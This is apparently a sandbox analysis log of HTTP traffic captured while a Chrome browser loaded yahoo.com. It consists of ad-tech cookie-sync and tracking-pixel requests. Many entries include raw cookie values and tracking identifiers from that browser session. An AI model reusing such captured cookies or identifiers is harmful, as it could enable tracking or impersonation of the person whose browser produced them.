Source: global traffic	HTTP traffic detected: GET /aam?asid=63JfYkI9&li=21180279824&nid=&did=&iid=ABAjH0izc6cPE2EI033oN7t2_dy7&ptnr=8&io=1016773243&pl=567427586&edst=567427586&ra=1714257730989636&st=https://www.yahoo.com/&sv=8&gdpr=&gdprc= HTTP/1.1Host: aam.a47b.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usync/prbds2s?gdpr=0&gdpr_consent=&us_privacy=1YNN&r=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dgumgum%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D HTTP/1.1Host: rtb.gumgum.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=appnexus&google_hm=MTQ3NjA1ODM5Njg1MDE1ODA2MQ%3D%3D HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=45&external_user_id=CAESEFVeUHfI19jJNPp1Sf2P_VQ&google_cver=1&gdpr=0 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1
Source: global traffic	HTTP traffic detected: GET /setuid?entity=101&gdpr=0&code=CAESELtxKrpNGC5cuN3L_d3U2ns&google_cver=1 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://googleads.g.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
Source: global traffic	HTTP traffic detected: GET /async_usersync?cbfn=queuePixels&seller_id=7911&pub_id=2023142&gdpr=0 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://acdn.adnxs.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=3_kdcFG2MD1Iuq9CVgb7VR-1lmG5ItmyjzbJvetw9CfEFyFBW1QGIhAdKDk_MxJpRKyUxABh8k8vzLSqeZaGKytscrCRvXVID4i5JFAzoLw.; receive-cookie-deprecation=1; uuid2=1476058396850158061; anj=dTM7k!M4/8CxrEQF']wIg2Hc#u`tfT!@wnf-Te9(>wL5L!!'p1%#-e8
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=1476058396850158061&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=EE7B59FE-9DAF-415D-A93C-7AF48020DD7B; chkChromeAb67Sec=1; pi=133799:2; DPSync3=1715385600%3A201_263%7C1714780800%3A252_265; SyncRTB3=1715385600%3A220_104_231_3_21_13_54_71_250%7C1714780800%3A223
Source: global traffic	HTTP traffic detected: GET /d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.ipredictive.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pcs/view?xai=AKAOjsskQ6EZyreK4K8S0J1ej0fNlPennI5j5-NigWwmCzS8WWXDvPpSHl2KXfsPd0X7UCX22oqQy_kXGF3zCDRtnxLfPLAGd_bNLLKv_lmjr_ZLXkj0FZp6n2FVXk5FkFGoM0sx5fXaFiZ5F-mxs25bjwuLxcorj8FgqsxH6tCiRZdn_d01YEN3Z2J4TFbjZEnnsK35ea10hpVOoCCUTA&sai=AMfl-YQGJN2OVyvyfGKBjwZ1njq3q61O2qmlyUbvqzCpWOGRw3J9HgFEVjJvrIbRhcDRkwvWOD-3ExH3udbIDPOjIsQXn7wSlIK012w-dQ&sig=Cg0ArKJSzBtQBb5fJ2bvEAE&uach_m=%5BUACH%5D&cry=1&crd=aHR0cHM6Ly9ob25kYWRlYWxlcnMuY29t&fbs_aeid=%5Bgw_fbsaeid%5D&urlfix=1&omid=0&rm=1&ctpt=141&cbvp=1&cstd=136&cisv=r20240424.72996&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&arae=1&ftch=1&adurl= HTTP/1.1Host: ad.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyAttribution-Reporting-Eligible: event-source;triggerReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /dbm/ad?dbm_c=AKAmf-AoG7ONKnY8wVhsKpft1Y_lXQGawmGEWdc219RU61d41FKrFppdqB9_LV8qVn0OMuW1F4ky1I47ZSCGst4pJJhCFFCYLy4RSWmAExMLZpLg_WRhmRwP4j6yztXyrfKZWOfooX7HN3nn4pIjU0x8FKGufleQ1eUwxji302-qYafj9BvwofgExh4-ir_pUzu6hEyTe0z2DH9vAmI7o_kV6i_sgfKMUwM2_D3DHxbRClTAFqdb9Sc&cry=1&dbm_d=AKAmf-BzRQQYNuo1exB43Fv8nGRQMPGfCL_8BJ_qnUDzCLo_kWd3j7UDLGzy36JiqAD2ID-E2-d7H4VHJ6hKijKLk0AweGi0Pr4b3mNQPQLWJgV_Ex3_sw9U1xFixjnfZUc13WQvEyXPL1WFnGcIzoOiZZUGv2w6lFaItEsVuviwJ4kS8Q8x6fUJVtoGvvcIieXwxlrjYZ7TH-ZU7errWrC5mtqoXftU92TOJK9LL_QELe-361VyjgL9tj76Z04tkBKuRXDHhWj_IaxViRI5FQa7RtFVp8gHsLjlW8f_oeyMg7sp07SRhA8vYIP3ietvGB9iPi_ZJoYkdRaOpLwIurcb2FKjbe_McgwE2pkQscF1WiizZSwbLN-yDbhD7tzs35Q0DquxvA3reCRpdBBGsKFeaq57N_e8L1h7svykJeeLlMqKtPaXWGuB5oY6cP8blQTtetKJ20K-2vdUYwce7rwene4wYzCw8448_-ezXcEWwrk91vqY4qw3XBo97M0HgJ4vyU6nW3bO6TZscwvuWV88ksY3uRkiHlCsCzgO0dJx5PTIPvrEwCCGNI4QvIgkkMtLNZG5cK8zE70Y2LwinSTRa67CS2zasb0_aggxmgZTGwFMXzsHpreQOENyyU8DjeTkTWQFi82XbwIc6ZhKY-hS5mVRm6JAnSQJLcIu-dRng3FZtvEN7x9g87IW6Au7h6q2zxovOz6RI31Q2QTajB65WzioLkb-dPELuNHoMZgQJUNa9b-XcekhaSTbTmmdYxLd3hrAfzPl1tHecvxhJ4e9KSQIPSI7Oam9LWHKa3C61sowuimnqpriOSH4PIQnBiRgXw6rIYGMVtQMI-ziRArfeNqDJxAKilGenEdVTKx2spjXPZSW3BmHhN0AH0ytNc-CDq8V_1Vphuh-FIztHHKLbGWqlAsdShfhJdjOegw1rX0PKr0vLNHjpt9c_sNbZ2Mu_aozhBthrO_2cemO3ZZ_jIocYJDCJS2vfFuDL0SHalhPOJu0B_1x87OfVuU9sum-EcqEsOg-HznjrVCjvbGuHanPY7bTU3SK-cIL-8CS0hZgg2mtD7jLxP3-t9es_zI6PBeG9CAgLhc_ckpiq73o43FEEMkk1PNu_hQ8lEaZ3sPZfFAhhaSJaIcHgJkbfWCvmIXoBLcb5oXjukPVPzigw-gHizSz-Cj0cExykBQ0J8hgWqBRScCG0mMpCHjgcvbv97NKZopO_W3AWttS6zMt2kLpOJ4J9V5FVm0v4VvbWg8kqSJluRTqcvIASW2j-A4ATImGjehr_EstwzGUqd74d45Y8jxXhSyeqGhdyIDrfPSRyL0JuX9UHYdAfeiol4XVGJ6ZblrW-0mBKl37WbW__7fSIq_nMxBzOKGEoJO60FXnsWlY9UgFqGCWu1JqdE49b-HHncU4_akzl9GVoz6MNeFu5R7oT0pTXOwLqAJ5IaSCm2u4fCcumWgwuugqUy8CJ3eI2h5qC5R7TMvUR9XB-qJL-yZqC8tqBHUf_1cSTIH7djpkzcSJ63_a2FNzEu2IiPrjOK5f7hgdTdj7Vf900XxJed4hF2ORmrpFdjDQnYucxRXsORiOLoytFNFlVr8VTBsWnPsBDl9gRISvkyw5I5ECS9iVdLysutb1psY2vVdl4lz4Hp3s7yN0Mw0gqXQZndMrNSAY2hE_oK6VO0eb5wtoh3j-vdqBDK1QRwxhfua_a0600cdOZFB9O5fzhL73In8Bioi65HiQ-8VKmvaulL-LgBOeMYqarbHbw9QtLjamDwCDvGXvsZ8VYAaUUYAN6zvTybNBCGTg5OnHUAny-xrY9ScY6RZREODc5P0FN5J53sCTvgGjEEAcZECu28hF-vqTcUomv_q_JNz3i37AdWQCJ39x5W6SlkvPPyr6zDdj6apITQ78VLMXmDiZBAbjdKdw6H6zXmpcivcXJSb3yjO5Ga4vFIP4I8rey1RdC89OfY6Pevm86XzpJq_MS8HOA7Cr9NTcntNNXkrNbt1LB6Q8yGLjabM4sG_SGFdoYnlwKhCc3djx5d09qfWcHCt6dd5ASRwMuWb4xkGO313cIxpoEpH__JXbvKKevVkAYFzPQou-5xsrhoIP9iXL8ysoA4mLRGF5sw4lHtT30_OUrMRD-yIqC7fCQ_CPIDtsMIUjJXAknX8U9L5jldsXLg40DFCgqd3d_oTl9IYRWgkriOHnJaYCcKOz92cN7tmM9G7MNgGXNh7BHrXIIGOIH-dUMic-yeA87l1TBTND3jLpbjqLM5a2PhZcyWRZ1NpDJK_A5icInTlocJR4dQcmLYcwAcRayodI_XYVjDuscBVbh-bt6fjpFXCZkl0O2yi7esGHwrcaV8uWOx9cDRoe7uG4chw5iHhLabhyCpQJ_toCupeJFIQMjk5uHN8Zm8FUvlDcGIz547nS2SksvNEL5wB76eWOl9WXL_tPdkxxPhVkRo4VXf0dslkvVS4-wXcGB4wosCBpPhKB5XiJcwFG4VmJlvDUiOL0io5bzQDSEw6hDDLcu0BdHgO85HMrdR8-78uojsrz4CXZzOcevlcdBiO1eDwbNrX__RI9zo9vz8xKraoK3MafTKVDk_eAQfFvyP2iI-Cfe_2XMLzvRp2AdmI71FkPzoRtxCGTebxPm-iIDP21DrwIKJTNknbtFawyXzkwvQETclrqAmKNdGYrPROVqhRvM3XEMVHHL2lgnVIpwgixNlSsiu
Source: global traffic	HTTP traffic detected: GET /sadbundle/10005337952414769934/PRO_NEW_MY24%20Prologue%20Launch_NSEV_NOIN_ENG_300x250_WDCH_H5_NV_LNM_MULT/MY24-PROLOGUE_LAUNCH_HTML_300x250_NC_AB.html?ev=01_250 HTTP/1.1Host: s0.2mdn.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://7436860ab4f2ffdc8403bd8e335cb51c.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /user-sync/iframe?gdprapplies=0&gdpr=&ccpa=1YNN&gpp=DBAA&gpp_sid=-1&redir=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dcriteo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24%7BCRITEO_USER_ID%7D&profile=230 HTTP/1.1Host: ssp-sync.criteo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: uid=3a1484ea-90ac-4bdd-895c-934bad280353
Source: global traffic	HTTP traffic detected: GET /ebda?sync=1&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=triplelift&google_cm&google_sc&gdpr=0&gdpr_consent= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUkYo_qaJB8t4vD6z0JcvLuH2PUt4-24vSE0hsN84PAMJB6T_Vc-cTtoFUn2; ar_debug=1; APC=AfxxVi57njaBhV1ZeX-EyHfl729z-ajT-mAWBRM5lhyvI-DCu7Azfw
Source: global traffic	HTTP traffic detected: GET /pbsync?is=vz&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&redirectUri=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dyieldmo%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Di%26uid%3D%24UID HTTP/1.1Host: ads.yieldmo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.yahoo.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: yieldmo_id=VcJnSSSXXnSq19AL9kSQ%7C1714176000000%7C3526568451909764169; re_sync=rc%3D1191296%7Cunl%3D1191296%7Cc%3D1191296%7Cdv360%3D1191296%7Can%3D1191296
Source: global traffic	HTTP traffic detected: GET /sync/triplelift/4394171109507437451801?gdpr=0&gdpr_consent= HTTP/1.1Host: pr-bh.ybp.yahoo.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /sync/google/demand?sync=1&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/sync?us_privacy=1YNN&gpp=DBAA&gpp_sid=-1&Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: sync=CgoIoQEQk4vkjfIxCgoI5gEQk4vkjfIxCgoIhwIQk4vkjfIxCgoItwIQk4vkjfIxCgkIOhCTi-SN8jEKCQgbEJOL5I3yMQoKCIwCEJOL5I3yMQoKCKwCEJOL5I3yMQoKCK0CEJOL5I3yMQoJCF8Qk4vkjfIx; receive-cookie-deprecation=1; tluid=4394171109507437451801; tluidp=4394171109507437451801
Source: global traffic	HTTP traffic detected: GET /scripts/ifs.js HTTP/1.1Host: cdn.taboola.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://cdn.taboola.com/scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=svx9t50&ttd_tpi=1&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=43e7dc8e-5458-4375-be4a-644737ed4dbd; TDCPM=CAEYBSABKAIyCwiQndbuv8XzPBAFOAE.
Source: global traffic	HTTP traffic detected: GET /sync?nid=13&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?nid=20&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid= HTTP/1.1Host: sync.srv.stackadapt.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=triplelift&user_id=4394171109507437451801&gdpr=0&gdpr_consent=${GDPR_CONSENT} HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://eb2.3lift.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=22ec7773-8e4b-4639-873b-a22ce7444b56; c=1714257731; tuuid_lu=1714257731
